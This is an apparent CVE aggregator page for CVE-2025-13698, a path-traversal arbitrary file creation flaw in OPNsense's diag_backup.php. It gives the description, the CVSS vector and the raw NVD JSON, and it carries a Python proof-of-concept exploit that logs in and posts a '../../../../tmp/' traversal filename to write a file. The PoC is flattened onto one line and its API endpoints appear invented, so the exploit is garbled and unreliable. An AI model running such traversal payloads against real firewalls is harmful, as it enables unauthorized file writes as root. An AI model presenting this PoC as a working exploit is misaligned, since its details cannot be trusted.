Security Vulnerability Report
中文
CVE-2025-13698 CVSS 4.5 MEDIUM

CVE-2025-13698

Published: 2025-12-23 22:15:45
Last Modified: 2026-04-15 00:35:42

Description

Deciso OPNsense diag_backup.php filename Directory Traversal Arbitrary File Creation Vulnerability. This vulnerability allows network-adjacent attackers to create arbitrary files on affected installations of Deciso OPNsense. Authentication is required to exploit this vulnerability. The specific flaw exists within the handling of backup configuration files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to create files in the context of root. Was ZDI-CAN-28133.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

OPNsense < 24.7.11
OPNsense < 25.1 (未修补版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-13698 PoC - OPNsense Directory Traversal File Creation # Target: OPNsense diag_backup.php # Requirement: Valid admin credentials TARGET = "http://target-ip:443" USERNAME = "admin" PASSWORD = "password" def exploit(): # Login to OPNsense session = requests.Session() login_data = { "usernamefld": USERNAME, "passwordfld": PASSWORD } resp = session.post(f"{TARGET}/api/core/authentication", json=login_data) if resp.status_code != 200: print("[-] Authentication failed") return False # Extract CSRF token from response token = resp.json().get('token') # Directory traversal payload to write file to /tmp/ filename = "../../../../tmp/pwned_by_cve2025_13698" malicious_content = "test file created via CVE-2025-13698" # Trigger backup with path traversal backup_data = { "filename": filename, "content": malicious_content } headers = { "X-CSRF-Token": token, "Content-Type": "application/json" } resp = session.post( f"{TARGET}/api/backup/diag_backup.php", json=backup_data, headers=headers ) if resp.status_code == 200: print("[+] File created successfully via directory traversal") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13698", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:44.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deciso OPNsense diag_backup.php filename Directory Traversal Arbitrary File Creation Vulnerability. This vulnerability allows network-adjacent attackers to create arbitrary files on affected installations of Deciso OPNsense. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of backup configuration files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to create files in the context of root. Was ZDI-CAN-28133."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/opnsense/core/commit/cb15c935137d05c86a1e6cf12af877e9c32a23af", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1022/", "source": "[email protected]"}]}}